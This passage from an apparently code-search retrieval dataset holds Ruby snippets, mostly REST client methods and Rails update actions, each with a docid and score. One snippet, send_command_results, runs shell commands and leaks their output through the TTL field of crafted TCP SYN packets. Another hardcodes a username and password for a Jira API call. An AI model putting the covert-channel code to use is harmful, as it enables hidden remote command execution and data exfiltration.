"text": "def edit_keyword (keyword = nil, number = nil, reference = nil, list_id = nil, welcome_message = nil, members_message = nil, activate = nil, forward_url = nil, forward_email = nil, forward_sms = nil, opts={})\n query_param_keys = [:keyword,:number,:reference,:list_id,:welcome_message,:members_message,:activate,:forward_url,:forward_email,:forward_sms]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'keyword' => keyword,\n :'number' => number,\n :'reference' => reference,\n :'list_id' => list_id,\n :'welcome_message' => welcome_message,\n :'members_message' => members_message,\n :'activate' => activate,\n :'forward_url' => forward_url,\n :'forward_email' => forward_email,\n :'forward_sms' => forward_sms\n \n }.merge(opts)\n\n #resource path\n path = \"/edit-keyword.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:POST, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end",
"title": ""
},
{
"docid": "0e20cd393d0f66c226f980186126b7fd",
"score": "0.52785635",
"text": "def update\n @use_case_template = UseCaseTemplate.find(params[:id])\n\n respond_to do |format|\n if @use_case_template.update_attributes(params[:use_case_template])\n format.html { redirect_to @use_case_template, notice: 'Use case template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @use_case_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d022fde0ade0caf9303cf538085985fa",
"score": "0.52767736",
"text": "def call_rest_updateticket(ticketnumber)\n #\n # example curl command\n # curl -D- -u chuck.hilyard -X POST --data '{ \"body\": \"comment\" }' -H \"Content-Type: application/json\" \\\n # \"https://jira.reachlocal.com/rest/api/2/issue/APPOPS-16/comment\" \n #\n print \"adding a comment to \", ticketnumber, \"\\n\"\n url = \"https://tickets.reachlocal.com/rest/api/2/issue/#{ticketnumber}/comment\"\n payload_hash = { \"body\" => \"Rundeck executed #{ENV[\"RD_JOB_URL\"]} against this ticket.\" }\n payload_json = payload_hash.to_json\n response = RestClient::Request.execute(\n :method => :post, \n :url => url,\n :payload => payload_json, \n :headers => { :content_type => 'application/json' }, \n :user => \"chuck.hilyard\",\n :password => \"asfkjasdf\"\n )\nend",
"title": ""
},
{
"docid": "7b909f148897744150a27d6a95090033",
"score": "0.52745545",
"text": "def patch_update_consumption_detail_id\n id_array = JSON.parse(params[:ids])\n consumption_detail_id = params[:consumption_detail_id]\n UserAttachment.find_by_ids(id_array).update(consumption_detail_id: consumption_detail_id)\n consumption_detail_attachments = UserAttachment.find_by_ids(id_array)\n render json: { result: 'success', consumption_detail_attachments:consumption_detail_attachments }, status: 200\n end",
"title": ""
},
{
"docid": "f20a774efc198bc961b537615f14d0d8",
"score": "0.52714187",
"text": "def patch(value)\n ensure_client && ensure_uri\n body = { op: 'replace', path: '/firmware', value: value }\n response = @client.rest_patch(@data['uri'], { 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end",
"title": ""
},
{
"docid": "3fb5ed909bce14c29ec3550cb515ba69",
"score": "0.52696306",
"text": "def patch_record rid\n logger.progname = 'RestChange#PatchRecord'\n content = yield\n if content.is_a? Hash\n begin\n @res[\"/document/#{@database}/#{rid}\"].patch content.to_orient.to_json\n rescue Exception => e\n logger.error{e.message}\n end\n else\n \t logger.error{\"FAILED: The Block must provide an Hash with properties to be updated\"}\n end\n end",
"title": ""
},
{
"docid": "5fd5f00640bdb0c785bcac4689a46f3c",
"score": "0.5268156",
"text": "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end",
"title": ""
},
{
"docid": "a23460a6753975a375271053deac4447",
"score": "0.52638096",
"text": "def update\n @model_reference.update!(secure_params)\n\n render json: {model_reference: @model_reference}\n end",
"title": ""
},
{
"docid": "76947a495f8371e8e772fdb40663d3b8",
"score": "0.5256925",
"text": "def update_report_template(args = {}) \n put(\"/reports.json/template/#{args[:templateId]}\", args)\nend",
"title": ""
},
{
"docid": "4373bcfe7235b052b1e29f273176207d",
"score": "0.52569175",
"text": "def update\n @usecasecluster = Usecasecluster.find(params[:id])\n\n respond_to do |format|\n if @usecasecluster.update_attributes(params[:usecasecluster])\n format.html { redirect_to(@usecasecluster, :notice => 'Usecasecluster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @usecasecluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a6d2e276d02c66970a03a21e13d8cf37",
"score": "0.52552015",
"text": "def patch; end",
"title": ""
},
{
"docid": "07588accd334970711dc7f3965dab1b3",
"score": "0.5255195",
"text": "def update\n # TODO\n end",
"title": ""
},
{
"docid": "8a17f415d6e8667c9b16382de4a873b4",
"score": "0.5248737",
"text": "def update_recipe(hash)\n # your code here\nend",
"title": ""
},
{
"docid": "7469649e52b7e5dac7975165e4b3ca58",
"score": "0.52481776",
"text": "def update\n @usecase = Usecase.find(params[:id])\n\n respond_to do |format|\n if @usecase.update_attributes(params[:usecase])\n format.html { redirect_to(@usecase, :notice => 'Usecase was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @usecase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5753e0a34d12bc3ceeede606d1f80cb6",
"score": "0.5246342",
"text": "def patch_tenant(tenant_id, request)\n start.uri('/api/tenant')\n .url_segment(tenant_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end",
"title": ""
},
{
"docid": "2c1d562ec964eee9463cfb7293ea74da",
"score": "0.5244571",
"text": "def update\n @tag.update(tag_params)\n render json: @tag\n end",
"title": ""
},
{
"docid": "6ae6b17460ba8c07daf1a237b1b63696",
"score": "0.52432346",
"text": "def update\n \n if @api_v1_person.update(api_v1_person_params) \n render json: @api_v1_person\n else\n render json: @api_v1_person.errors, status: 400\n end\n \n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.5243179",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "2f874696448bee11465e677a0660cb75",
"score": "0.5241167",
"text": "def update_term(t_id, term_info)\n term_info = {\"term\" => term_info}\n request = API_URL + \"terms/#{t_id}\"\n @response = RestClient.patch request, term_info#\n @parsed_response = JSON.parse(@response)\n log_mutant(\"updated\")\n return\nend",
"title": ""
},
{
"docid": "b415bea97bf02b47f3938a4655e7ee79",
"score": "0.5241159",
"text": "def update\n # TODO:\n end",
"title": ""
},
{
"docid": "af9aedd4f428a2c26c3fd57798526020",
"score": "0.52396494",
"text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end",
"title": ""
},
{
"docid": "4cf4099e532bf79be32896520e049f68",
"score": "0.52380395",
"text": "def update\n authorize! :update, CompetenceTier\n \n @competence_tier.update!(competence_tier_params)\n render json: {status: :ok}\n end",
"title": ""
},
{
"docid": "249d4fdfb1fc0c681eca504cd930f289",
"score": "0.52358186",
"text": "def update\n @api_v1_post_flag = PostFlag.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_flag.update_attributes(params[:api_v1_post_flag])\n format.html { redirect_to @api_v1_post_flag, notice: 'Post flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_flag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "adece6c8dbba6da8d956774b410c645a",
"score": "0.5235454",
"text": "def update_mobile_carrier(args = {}) \n id = args['id']\n temp_path = \"/mobile.json/{carrierId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"mobileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "52cd1adc364978430e1ff670a570b98a",
"score": "0.5230651",
"text": "def update\n @casestudy = Casestudy.find(params[:id])\n\n respond_to do |format|\n if @casestudy.update_attributes(params[:casestudy])\n format.html { redirect_to @casestudy, notice: 'Casestudy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @casestudy.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5838277fef97eda539bab771d99646b",
"score": "0.5226618",
"text": "def update\n @test_case = TestCase.find(params[:id])\n\n respond_to do |format|\n if @test_case.update_attributes(params[:test_case])\n format.html { redirect_to @test_case, notice: 'Test case was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5838277fef97eda539bab771d99646b",
"score": "0.5226618",
"text": "def update\n @test_case = TestCase.find(params[:id])\n\n respond_to do |format|\n if @test_case.update_attributes(params[:test_case])\n format.html { redirect_to @test_case, notice: 'Test case was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2993ee4af1337fea08403ad969751b2c",
"score": "0.52226496",
"text": "def patch(*args)\n\t\tconn.patch(*args)\n\tend",
"title": ""
},
{
"docid": "e1ceb192907a251718c9087b8cbf6f70",
"score": "0.5221811",
"text": "def update\n respond_to do |format|\n if @the_case.update(the_case_params)\n format.html { redirect_to @the_case, notice: 'The case was successfully updated.' }\n format.json { render :show, status: :ok, location: @the_case }\n else\n format.html { render :edit }\n format.json { render json: @the_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86884f57e7ca8ceb199d59f2eab424ed",
"score": "0.52123487",
"text": "def update(payload)\n patch(payload: payload)\n end",
"title": ""
},
{
"docid": "3a5f00d5aefadbf5caa795c67071c6f9",
"score": "0.5210902",
"text": "def update\n respond_to do |format|\n if @state_case.update(state_case_params)\n format.html { redirect_to @state_case, notice: 'State case was successfully updated.' }\n format.json { render :show, status: :ok, location: @state_case }\n else\n format.html { render :edit }\n format.json { render json: @state_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77ce27989a6eb1263af612ecffa00850",
"score": "0.5209422",
"text": "def update\n update! do |success, failure|\n success.json { render :json => resource }\n end\n end",
"title": ""
},
{
"docid": "5e8e9bfbc63837387003aabe3930dd80",
"score": "0.52072597",
"text": "def update\n respond_to do |format|\n if @example_lift_req.update(example_lift_req_params)\n format.html { redirect_to @example_lift_req, notice: 'Example lift req was successfully updated.' }\n format.json { render :show, status: :ok, location: @example_lift_req }\n else\n format.html { render :edit }\n format.json { render json: @example_lift_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "827a6178dba0d76745d5f589e5938641",
"score": "0.5206643",
"text": "def update\n budget = Budget.find(params[:id])\n\n if budget.update_attributes(params.slice(:budget_name, :amount, :recur,\n :start_date, :recurrence_duration,\n :other_duration))\n render :json => budget\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c069e218451e12cd9fddd9cc27c414de",
"score": "0.52038795",
"text": "def update\n respond_to do |format|\n if @bibref.update_all(bibref_params, params.require(:bibref).require(:fields_attributes))\n @bibref.generate_shortname\n format.html { redirect_to @bibref, notice: 'Reference was successfully updated.' }\n format.json { render :show, status: :ok, location: @bibref }\n else\n format.html { render :edit, notice: 'An error prevented the reference from being updated!' }\n format.json { render json: @bibref.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf349d235658fb07601f42aae5c6fb76",
"score": "0.5203719",
"text": "def update\n entry = Entry.find(params[:id])\n\n if entry.update_attributes(params.slice(:amount, :notes, :expenditure_date, :budget_id))\n render :json => entry\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6bd80e1cb55f02adcc01e495d365f4b5",
"score": "0.5203215",
"text": "def update\n render json: @building_level.errors unless @building_level.update(building_level_params)\n end",
"title": ""
},
{
"docid": "8c13ad89e49cc1f95293de206d6658b2",
"score": "0.5203157",
"text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to @case, notice: 'Case was successfully updated.' }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c13ad89e49cc1f95293de206d6658b2",
"score": "0.5203157",
"text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to @case, notice: 'Case was successfully updated.' }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a62f03c530072169b8bb908e4df16bd",
"score": "0.5200948",
"text": "def update\n @scenario = Scenario.find(params[:scenario_id])\n @rrh = @scenario.rrhs.find(params[:id])\n if @rrh.update(rrh_params)\n render json: @rrh\n else\n render json: {status: \"ERROR\", data: @rrh.error}\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.5199618",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.5199618",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "0f89f903ce656bcfaf9fe5d222834dd8",
"score": "0.51986724",
"text": "def test_edit_thats_being_used_just_change_reasons\n obs = observations(:coprinus_comatus_obs)\n nam1 = namings(:coprinus_comatus_naming)\n\n o_count = Observation.count\n g_count = Naming.count\n n_count = Name.count\n v_count = Vote.count\n\n # Rolf makes superficial changes to his naming.\n login(\"rolf\")\n params = {\n id: nam1.id,\n naming: {\n name: names(:coprinus_comatus).search_name,\n vote: { value: \"3\" },\n reasons: {\n \"1\" => { check: \"1\", notes: \"Change to macro notes.\" },\n \"2\" => { check: \"1\", notes: \"\" },\n \"3\" => { check: \"0\", notes: \"Add some micro notes.\" },\n \"4\" => { check: \"0\", notes: \"\" }\n }\n }\n }\n put(:update, params: params)\n assert_equal(10, rolf.reload.contribution) # unchanged\n\n # Make sure the right number of objects were created.\n assert_equal(o_count + 0, Observation.count)\n assert_equal(g_count + 0, Naming.count)\n assert_equal(n_count + 0, Name.count)\n assert_equal(v_count + 0, Vote.count)\n\n # Make sure observation is unchanged.\n assert_equal(names(:coprinus_comatus).id, obs.reload.name_id)\n\n # Check votes.\n assert_equal(4, nam1.reload.vote_sum) # 2+1 -> 3+1\n assert_equal(2, nam1.votes.length)\n\n # Check new reasons.\n nrs = nam1.reasons_array\n assert_equal(3, nrs.count(&:used?))\n assert_equal(1, nrs[0].num)\n assert_equal(2, nrs[1].num)\n assert_equal(3, nrs[2].num)\n assert_equal(\"Change to macro notes.\", nrs[0].notes)\n assert_equal(\"\", nrs[1].notes)\n assert_equal(\"Add some micro notes.\", nrs[2].notes)\n assert_nil(nrs[3].notes)\n end",
"title": ""
},
{
"docid": "74b77b9670da9fd2f5376280f265a502",
"score": "0.5198561",
"text": "def update\n render json: @feature.errors unless @feature.update(feature_params)\n end",
"title": ""
},
{
"docid": "39b038354a9b3f529e2c9e414b4f5256",
"score": "0.5198425",
"text": "def update\n @case_study = CaseStudy.find(params[:id])\n\n respond_to do |format|\n if @case_study.update_attributes(params[:case_study])\n format.html { redirect_to @case_study, notice: 'Case study was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @case_study.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20f5c851e7c047d815093eca515cf08c",
"score": "0.5197949",
"text": "def update\n @crm_case = CrmCase.find(params[:id])\n\n respond_to do |format|\n if @crm_case.update_attributes(params[:crm_case])\n format.html { redirect_to @crm_case, notice: 'Crm case was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crm_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7b9d2f841faa679c7f72a6c2702c83d",
"score": "0.5197471",
"text": "def patch_api_key(key_id, request)\n start.uri('/api/api-key')\n .url_segment(key_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end",
"title": ""
}
] |
9070c0adbead46e5cf787116c76bc56e
|
!SLIDE END !SLIDE Transportsend_result Send Result to stream.
|
[
{
"docid": "d9bc24a895805d46de6a7e1432a613f6",
"score": "0.6289016",
"text": "def send_result state\n result = state.result\n message = state.message\n if @one_way && message.block\n message.block.call(result)\n else\n # Avoid sending back entire Message in Result.\n result.message = nil unless @coder_needs_result_message\n state.result_payload = decoder.prepare.encode(result)\n _send_result(state)\n end\n end",
"title": ""
}
] |
[
{
"docid": "6c1f081abad8f3cc6df11422d8e53b89",
"score": "0.7057419",
"text": "def _send_result result_payload, webrick_result\n # ???\n end",
"title": ""
},
{
"docid": "657f97e27df41c8069ac5d9356b47bb8",
"score": "0.7033355",
"text": "def _send_result state\n rack_response = state.out_stream\n rack_response[CONTENT_TYPE] = APPLICATION_BINARY\n rack_response.write state.result_payload\n end",
"title": ""
},
{
"docid": "be1bb66b1b55d2f5eb1654623f58078e",
"score": "0.7002284",
"text": "def _send_result state\n http_result = state.out_stream\n http_result[CONTENT_TYPE] = APPLICATION_BINARY\n http_result.body = state.result_payload\n end",
"title": ""
},
{
"docid": "a47d51900a77503f87aa4d02bec41cf5",
"score": "0.69544774",
"text": "def _send_result state\n with_result_file state do | result_file |\n ::File.open(result_file, \"a+\") do | stream |\n _write(state.result_payload, stream, state)\n end\n end\n end",
"title": ""
},
{
"docid": "43beb058503f6aea252e09f392341ac1",
"score": "0.6529956",
"text": "def _send_response result, rs\n # ??? \n end",
"title": ""
},
{
"docid": "63660f92c9cd5369796cfcfb436488f7",
"score": "0.64191663",
"text": "def send_result(result, res, path, query)\n result = @shell.data(result) unless result.is_a?(WAB::Data)\n response_body = result.json(@shell.indent)\n res.status = 200\n res['Content-Type'] = 'application/json'\n @shell.logger.debug(\"reply to #{path.join('/')}#{query}: #{response_body}\") if @shell.logger.debug?\n res.body = response_body\n\tend",
"title": ""
},
{
"docid": "aa5b2afdc3ab8cd33768d6c4e0ddbd60",
"score": "0.6311154",
"text": "def send_result(result, res, path, query)\n result = @shell.data(result) unless result.is_a?(WAB::Data)\n response_body = result.json(@shell.indent)\n res.status = 200\n res['Content-Type'] = 'application/json'\n @shell.logger.debug(\"reply to #{path.join('/')}#{query}: #{response_body}\") if @shell.logger.debug?\n res.body = response_body\n end",
"title": ""
},
{
"docid": "a5ecc5dfebafb5a92a2dbb7768cbe437",
"score": "0.6101149",
"text": "def act_on_ok\n case transfer_status\n when 'COMPLETE'\n output(\n event: 'success',\n message: message_text,\n uuid: body['sip_uuid'],\n accession: payloads.first[:output][:accession]\n )\n when 'PROCESSING'\n output(event: 'retry', message: message_text)\n fail!\n when 'USER_INPUT'\n # @todo send email\n output(event: 'retry', message: message_text)\n fail!\n else\n output(event: 'failed', message: message_text)\n fail!\n end\n end",
"title": ""
},
{
"docid": "991674ea4b33f6901c965976114b6e5c",
"score": "0.60923386",
"text": "def send_message(action=\"-\", result=RESULT[:failure], id=\"-\", info=\"-\")\n @send_mutex.synchronize {\n STDOUT.puts \"#{action} #{result} #{id} #{info}\"\n STDOUT.flush\n }\n end",
"title": ""
},
{
"docid": "1bba677a1a3b47c0ce9ba87bdd5771b8",
"score": "0.6003901",
"text": "def send_success\n end",
"title": ""
},
{
"docid": "205b83e5ddbee849cfb1e19ff4f0fa87",
"score": "0.5988374",
"text": "def send_action_result(result_str)\n attachments = [**event[:msg][:attachments].first, actions: []]\n attachments << { fields: [title: result_str] }\n update_action_source(\n **event[:msg],\n attachments: attachments\n )\n end",
"title": ""
},
{
"docid": "742af421dcd41f874c5f5c83324a1b5c",
"score": "0.5941716",
"text": "def deliver(subscription_id, result); end",
"title": ""
},
{
"docid": "a7fa2f06ac7a781e7686461f632b5769",
"score": "0.59191185",
"text": "def block_result(result)\n res = response\n if res.empty? && (body = block_result_body(result))\n res.write(body)\n end\n end",
"title": ""
},
{
"docid": "a7fa2f06ac7a781e7686461f632b5769",
"score": "0.59191185",
"text": "def block_result(result)\n res = response\n if res.empty? && (body = block_result_body(result))\n res.write(body)\n end\n end",
"title": ""
},
{
"docid": "ae4396d2fdee958a58db1f4920ae7a7f",
"score": "0.58973426",
"text": "def send_message(action = '-', result = RESULT[:failure],\n id = '-', info = '-')\n\n @send_mutex.synchronize do\n STDOUT.puts \"#{action} #{result} #{id} #{info}\"\n STDOUT.flush\n end\n end",
"title": ""
},
{
"docid": "97662e2bb695c88ebcc0d58d735c5eed",
"score": "0.5819472",
"text": "def send data\n end",
"title": ""
},
{
"docid": "97662e2bb695c88ebcc0d58d735c5eed",
"score": "0.5819472",
"text": "def send data\n end",
"title": ""
},
{
"docid": "9f5549b6014f43412dbc1c54350e9998",
"score": "0.58178455",
"text": "def send_result(data)\n #begin\n #jdata = data.to_json\n html = \"<div class='tweet'><div class='t_tweet'><img src='#{data.image}' width='46' height='46' class='t_img'/><span class='from_user'>@#{data.from.to_s}</span><span class='tweet_data'>#{data.tweet.to_s}</span></div><div id='tags_and_importants'><span class='tags'> ( #{data.tags.to_s} ) </span><span class='important'><strong>#{data.important.to_s}</strong></span><div class='clearfix'></div></div>\"\n $new_messages.call(html)\n #rescue\n #puts \"can't use eventmachine callback\"\n #end\n end",
"title": ""
},
{
"docid": "f6d939d5868be533d63565df7d99edd1",
"score": "0.5774518",
"text": "def perform\n @response = Archivematica::Api::TransferStatus.new(\n params: payloads.first[:output]\n ).request\n @transfer_status = body['status'] if body['status']\n act_on_status\n end",
"title": ""
},
{
"docid": "800b049ca87309fb73ccda0e50f0a708",
"score": "0.57484865",
"text": "def finished\n send_status\n send_header\n send_body\n end",
"title": ""
},
{
"docid": "800b049ca87309fb73ccda0e50f0a708",
"score": "0.57467484",
"text": "def finished\n send_status\n send_header\n send_body\n end",
"title": ""
},
{
"docid": "97f2aac3aa0c4c9f7219470287ceff06",
"score": "0.57466656",
"text": "def perform!\n export!\n begin\n transfer!\n rescue SocketError\n err_message \"Transfer failed. SocketError. Do you have internet?\"\n end\n cleanup!\n end",
"title": ""
},
{
"docid": "ca5fa71e1f787913f64b2190420e8d7e",
"score": "0.57462025",
"text": "def _receive_result state\n state.result_payload =\n state.in_stream.content.to_s\n end",
"title": ""
},
{
"docid": "c2a8b68500da0e285775ec147cc2ddb2",
"score": "0.5735774",
"text": "def send_reply(req_id, succ, result)\n @msg.send_reply(req_id, stream, succ, result)\n end",
"title": ""
},
{
"docid": "9ab3eb0988a7fe8a2ac8e2201ac024d7",
"score": "0.57269496",
"text": "def send\n SnarlAPI.send(@ss)\n end",
"title": ""
},
{
"docid": "9ab3eb0988a7fe8a2ac8e2201ac024d7",
"score": "0.57269496",
"text": "def send\n SnarlAPI.send(@ss)\n end",
"title": ""
},
{
"docid": "8edc8d1939b34a61bf4ad5234f4fc326",
"score": "0.5688461",
"text": "def send_command_results(command)\n # execute the command\n \tcomm = `#{command}`\n \n # send command results byte by byte in ttl field.\n \tcomm.each_byte do |c|\n tcp_pkt = TCPPacket.new(:config => @myInfo)\n\t\t \ttcp_pkt.tcp_flags.syn=1\n\t\t \ttcp_pkt.ip_ttl = c\n\t\t \ttcp_pkt.tcp_dst= @destPort\n\t\t \ttcp_pkt.tcp_src= @sourcePort\n\t\t \ttcp_pkt.eth_daddr = @clientMac\n\t\t \ttcp_pkt.ip_daddr= @clientIP\n\t\t \ttcp_pkt.recalc\n\t\t \ttcp_pkt.to_w(@interface)\n\t\t \tsleep 0.1\n\t\t\tputs tcp_pkt.ip_ttl\n end\n\t\tputs \"Results have been sent\"\n \n # send final packet to tell client all the sending is finished\n\t\ttcp_pkt = TCPPacket.new(:config => @myInfo)\n\t\ttcp_pkt.tcp_flags.syn=1\n\t\ttcp_pkt.ip_ttl = 0\n\t\ttcp_pkt.tcp_dst= @destPort\n\t\ttcp_pkt.tcp_src= @sourcePort\n\t\ttcp_pkt.eth_daddr = @clientMac\n\t\ttcp_pkt.ip_daddr= @clientIP\n\t\ttcp_pkt.recalc\n\t\ttcp_pkt.to_w(@interface)\t\n\t\tputs \"done results exit\" \t\n end",
"title": ""
},
{
"docid": "e9d720859c96b8430d5091532c0b59db",
"score": "0.5687254",
"text": "def sent\n end",
"title": ""
},
{
"docid": "3abdc4b2aa9f514624640949de518df6",
"score": "0.5684537",
"text": "def progress(result)\n\n # Only allow progress if it is a procedure and the client set \"receive_progress\"\n if command.to_sym == :procedure and self.details[:receive_progress]\n\n # Get the request ID\n request = self.details[:request]\n\n # Send the data back to the\n self.session.yield request, result, { progress: true }, self.background\n end\n\n end",
"title": ""
},
{
"docid": "fe0d61d03e758cdab8b060e358d49f07",
"score": "0.5681805",
"text": "def reply!\n super\n self.type = :result\n self\n end",
"title": ""
},
{
"docid": "f748dc9d82c9cc3faa39ee95398272a7",
"score": "0.56791085",
"text": "def send_data\n\t\t\n\tend",
"title": ""
},
{
"docid": "f748dc9d82c9cc3faa39ee95398272a7",
"score": "0.56791085",
"text": "def send_data\n\t\t\n\tend",
"title": ""
},
{
"docid": "45c2c1a570cb783c1ec66b629e3d85ac",
"score": "0.5625544",
"text": "def send( out) \n sendStart(out);\n sendDispositionHeader(out)\n sendContentTypeHeader(out)\n send_id(out)\n sendTransferEncodingHeader(out)\n \n sendEndOfHeader(out)\n sendData(out)\n sendEnd(out)\n end",
"title": ""
},
{
"docid": "88d45f9aefc1f2ff9c7405ddffd991c7",
"score": "0.5623354",
"text": "def run(result)\n end",
"title": ""
},
{
"docid": "88d45f9aefc1f2ff9c7405ddffd991c7",
"score": "0.5623354",
"text": "def run(result)\n end",
"title": ""
},
{
"docid": "b34b04f788382b1978ff13000cc20330",
"score": "0.5616793",
"text": "def send\n result = nil\n #puts @apiURI.path + '?' + @apiURI.query\n req = Net::HTTP::Get.new(@apiURI.path + '?' + @apiURI.query)\n \n res = Net::HTTP.start(@apiURI.hostname, @apiURI.port) do |http|\n http.request(req)\n end\n \n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n parsed_json = JSON.parse(res.body)\n \n response = parsed_json[\"response\"]\n unless response.nil?\n total = response[\"total\"]\n unless total.nil?\n result = total\n end\n end\n else\n puts \"----------->Error<-----------\"\n puts res.inspect\n end\n\n return result\n end",
"title": ""
},
{
"docid": "0976adeea50c8fec499882b5fb5deec6",
"score": "0.56100893",
"text": "def send()\n # Spawn a new thread so that we are not manipulating the current classloader\n thread = Thread.new do\n # Overwrite the current classloader\n java.lang.Thread.currentThread().setContextClassLoader(java_class.class_loader)\n # Call the old send method\n Thread.current['kinetic/task/IcsEventInviteSendV1/result'] = send_without_jruby_fix()\n end\n # Wait for the thread to complete\n thread.join\n # Return the thread result\n return thread['kinetic/task/IcsEventInviteSendV1/result']\n end",
"title": ""
},
{
"docid": "bc723a7c6dde22efe5e061b809251395",
"score": "0.5601209",
"text": "def send_to_client\n \n end",
"title": ""
},
{
"docid": "c5c45921437c0b1735a3c59b7a1b4626",
"score": "0.5599317",
"text": "def result_received(file, result)\n end",
"title": ""
},
{
"docid": "78a812866a5fe8b6a38e10f326ce07fa",
"score": "0.55991924",
